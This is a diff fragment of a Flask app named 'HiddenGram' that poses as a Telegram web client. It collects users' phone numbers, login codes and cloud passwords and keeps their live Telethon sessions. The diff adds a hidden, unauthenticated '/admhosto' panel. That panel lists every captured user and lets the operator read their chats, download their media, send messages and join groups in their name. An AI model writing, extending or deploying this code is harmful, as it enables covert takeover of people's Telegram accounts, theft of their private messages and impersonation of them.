+        return redirect(url_for('hidden_gram_app'))
     return render_template_string(LOGIN_TEMPLATE)
 @app.route('/api/login', methods=['POST'])
 def api_login():
     data = request.json
     phone = data.get('phone')
     code = data.get('code')
     step = data.get('step')
     if not phone:
+        return jsonify({'success': False, 'message': 'Phone number is required.'})
     session_hash = hashlib.md5(phone.encode()).hexdigest()
+    session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
     async def _login_async():
         client = TelegramClient(session_file_path, API_ID, API_HASH)
                     me = await client.get_me()
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
+                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                    result = {'success': True, 'message': 'Already logged in.', 'user_id': session['user_id']}
                 else:
                     sent_code = await client.send_code_request(phone)
                     result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
+                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                    result = {'success': True, 'message': 'Logged in successfully.', 'user_id': session['user_id']}
                 except SessionPasswordNeededError:
                     result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
                 except Exception as e:
                     result = {'success': False, 'message': f'Error during code submission: {e}.'}
             elif step == 'password':
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
+                        session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
+                    result = {'success': True, 'message': 'Logged in with cloud password.', 'user_id': session['user_id']}
                 except Exception as e:
                     result = {'success': False, 'message': f'Error during password submission: {e}.'}
             else:
         except Exception as e:
             result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
         finally:
+            if client and client.is_connected():
                 await client.disconnect()
         return result
     return jsonify(asyncio.run(_login_async()))
+@app.route('/api/logout', methods=['POST'])
+def api_logout():
+    if 'user_id' in session:
+        user_id = session['user_id']
+        async def _logout_async():
+            client, error = await get_user_client(user_id)
+            if error:
+                return {'success': False, 'message': error}
+            try:
+                await client.log_out()
+                return {'success': True, 'message': 'Logged out successfully.'}
+            except Exception as e:
+                return {'success': False, 'message': f'Error logging out: {e}.'}
+            finally:
+                if client and client.is_connected():
+                    await client.disconnect()
+        result = asyncio.run(_logout_async())
+        if result['success']:
+            session.pop('user_id', None)
+        return jsonify(result)
+    return jsonify({'success': False, 'message': 'No active session.'})
+@app.route('/app')
+def hidden_gram_app():
+    if 'user_id' not in session:
+        return redirect(url_for('index'))
+    return render_template_string(HIDDENGRAM_APP_TEMPLATE)
+@app.route('/api/user_chats')
+def api_user_chats():
+    user_id = session.get('user_id')
+    if not user_id:
+        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
     async def _get_chats_async():
         client, error = await get_user_client(user_id)
         if error:
+            return None, error
         chats_info = []
         try:
             async for dialog in client.iter_dialogs():
                 chat_type = 'User'
+                participants = None
+                if isinstance(dialog.entity, Channel):
                     chat_type = 'Channel'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                elif isinstance(dialog.entity, Chat):
                     chat_type = 'Group'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                elif isinstance(dialog.entity, User):
+                    chat_type = 'User'
                 chats_info.append({
                     'id': dialog.id,
                     'title': dialog.title,
                     'type': chat_type,
+                    'participants': participants
                 })
         except Exception as e:
+            return None, str(e)
         finally:
             if client and client.is_connected():
                 await client.disconnect()
+        return chats_info, None
+    chats, error = asyncio.run(_get_chats_async())
+    if error:
+        return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
+    return jsonify({'success': True, 'chats': chats})
+@app.route('/api/chat_messages/<int:peer_id>')
+def api_get_chat_messages(peer_id):
+    user_id = session.get('user_id')
+    if not user_id:
+        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
         if error:
+            return None, error
+        messages = []
         try:
             entity = await client.get_entity(peer_id)
+            me = await client.get_me()
+            async for message in client.iter_messages(entity, limit=50, reverse=False):
                 msg_data = {
                     'text': message.text,
                     'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
                     'sender_name': 'Unknown',
+                    'is_sent': message.out
                 }
                 if message.sender:
+                    if message.sender.first_name:
                         msg_data['sender_name'] = message.sender.first_name
                         if message.sender.last_name:
                             msg_data['sender_name'] += f" {message.sender.last_name}"
+                    elif message.sender.username:
+                        msg_data['sender_name'] = message.sender.username
+                    elif hasattr(message.sender, 'title'): # For channels/groups as sender
                         msg_data['sender_name'] = message.sender.title
                 if message.media:
+                    try:
+                        file_info = await client.download_media(message, file=DOWNLOAD_DIR)
+                        if file_info:
+                            file_path = Path(file_info)
+                            msg_data['file_name'] = file_path.name
+                            msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
+                    except Exception as e:
+                        msg_data['file_name'] = f"Error downloading file: {e}"
+                        msg_data['file_size'] = ""
+                messages.append(msg_data)
         except Exception as e:
+            return None, str(e)
         finally:
             if client and client.is_connected():
                 await client.disconnect()
+        return messages, None
+    messages, error = asyncio.run(_get_messages_async())
+    if error:
+        return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
+    return jsonify({'success': True, 'messages': messages})
+@app.route('/api/send_message', methods=['POST'])
+def api_send_message():
+    user_id = session.get('user_id')
+    if not user_id:
+        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
     data = request.json
+    chat_id_or_username = data.get('chat_id')
     message_content = data.get('message')
     async def _send_message_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
+            await client.send_message(chat_id_or_username, message_content)
             return {'success': True, 'message': 'Message sent successfully.'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
     result = asyncio.run(_send_message_async())
     return jsonify(result)
+@app.route('/api/join_chat', methods=['POST'])
+def api_join_chat():
+    user_id = session.get('user_id')
+    if not user_id:
+        return jsonify({'success': False, 'message': 'User not logged in.'}), 401
     data = request.json
     chat_identifier = data.get('chat_identifier')
     async def _join_chat_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
             if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
                 invite_hash = chat_identifier.split('/')[-1]
                 if '+' in invite_hash:
                     invite_hash = invite_hash.replace('+', '')
                 await client(ImportChatInviteRequest(invite_hash))
             else:
                 if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
                     chat_identifier = '@' + chat_identifier
                 await client(JoinChannelRequest(chat_identifier))
+            return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
         except UserNotParticipantError:
              return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
         except Exception as e:
             return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
         finally:
     result = asyncio.run(_join_chat_async())
     return jsonify(result)
+@app.route('/download/<filename>')
+def download_file(filename):
+    return send_from_directory(DOWNLOAD_DIR, filename)
+# Admin Panel Routes
+@app.route('/admhosto')
+def admhosto_index():
+    with sqlite3.connect(DB_PATH) as conn:
+        c = conn.cursor()
+        c.execute('SELECT id, telegram_id, username, phone FROM users')
+        users = c.fetchall()
+    return render_template_string(ADMHOSTO_TEMPLATE, users=users)
+@app.route('/admhosto/user/<int:user_id>/manage')
+def admhosto_manage_user_account(user_id):
+    with sqlite3.connect(DB_PATH) as conn:
+        c = conn.cursor()
+        c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
+        user_data = c.fetchone()
+        if not user_data:
+            return "User not found", 404
+        user_dict = {
+            'id': user_data[0],
+            'telegram_id': user_data[1],
+            'username': user_data[2],
+            'phone': user_data[3],
+            'session_file': user_data[4]
+        }
+    async def _get_chats_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return None, error
+        chats_info = []
+        try:
+            async for dialog in client.iter_dialogs():
+                chat_type = 'User'
+                participants = None
+                if isinstance(dialog.entity, Channel):
+                    chat_type = 'Channel'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                elif isinstance(dialog.entity, Chat):
+                    chat_type = 'Group'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                elif isinstance(dialog.entity, User):
+                    chat_type = 'User'
+                chats_info.append({
+                    'id': dialog.id,
+                    'title': dialog.title,
+                    'type': chat_type,
+                    'participants': participants
+                })
+        except Exception as e:
+            return None, str(e)
+        finally:
+            if client and client.is_connected():
+                await client.disconnect()
+        return chats_info, None
+    chats, error = asyncio.run(_get_chats_async())
+    if error:
+        return f"Failed to load chats: {error}", 500
+    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=chats)
+@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
+def admhosto_get_chat_messages(user_id, peer_id):
+    async def _get_messages_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return None, error
+        messages = []
+        try:
+            entity = await client.get_entity(peer_id)
+            me = await client.get_me()
+            async for message in client.iter_messages(entity, limit=50, reverse=False):
+                msg_data = {
+                    'text': message.text,
+                    'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
+                    'sender_name': 'Unknown',
+                    'is_sent': message.out
+                }
+                if message.sender:
+                    if message.sender.first_name:
+                        msg_data['sender_name'] = message.sender.first_name
+                        if message.sender.last_name:
+                            msg_data['sender_name'] += f" {message.sender.last_name}"
+                    elif message.sender.username:
+                        msg_data['sender_name'] = message.sender.username
+                    elif hasattr(message.sender, 'title'):
+                        msg_data['sender_name'] = message.sender.title
+                if message.media:
+                    try:
+                        file_info = await client.download_media(message, file=DOWNLOAD_DIR)
+                        if file_info:
+                            file_path = Path(file_info)
+                            msg_data['file_name'] = file_path.name
+                            msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
+                    except Exception as e:
+                        msg_data['file_name'] = f"Error downloading file: {e}"
+                        msg_data['file_size'] = ""
+                messages.append(msg_data)
+        except Exception as e:
+            return None, str(e)
+        finally:
+            if client and client.is_connected():
+                await client.disconnect()
+        return messages, None
+    messages, error = asyncio.run(_get_messages_async())
+    if error:
+        return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
+    return jsonify({'success': True, 'messages': messages})
+@app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
+def admhosto_send_message(user_id):
     data = request.json
+    chat_id_or_username = data.get('chat_id')
     message_content = data.get('message')
+    async def _send_message_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
+            await client.send_message(chat_id_or_username, message_content)
+            return {'success': True, 'message': 'Message sent successfully.'}
+        except Exception as e:
+            return {'success': False, 'message': str(e)}
+        finally:
+            if client and client.is_connected():
+                await client.disconnect()
+    result = asyncio.run(_send_message_async())
+    return jsonify(result)
+@app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
+def admhosto_join_chat(user_id):
+    data = request.json
+    chat_identifier = data.get('chat_identifier')
+    async def _join_chat_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return {'success': False, 'message': error}
+        try:
+            if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
+                invite_hash = chat_identifier.split('/')[-1]
+                if '+' in invite_hash:
+                    invite_hash = invite_hash.replace('+', '')
+                await client(ImportChatInviteRequest(invite_hash))
+            else:
+                if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
+                    chat_identifier = '@' + chat_identifier
+                await client(JoinChannelRequest(chat_identifier))
+            return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
+        except UserNotParticipantError:
+             return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
         except Exception as e:
+            return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
+    result = asyncio.run(_join_chat_async())
     return jsonify(result)
 if __name__ == '__main__':
     init_db()
+    app.run(host=HOST, port=PORT)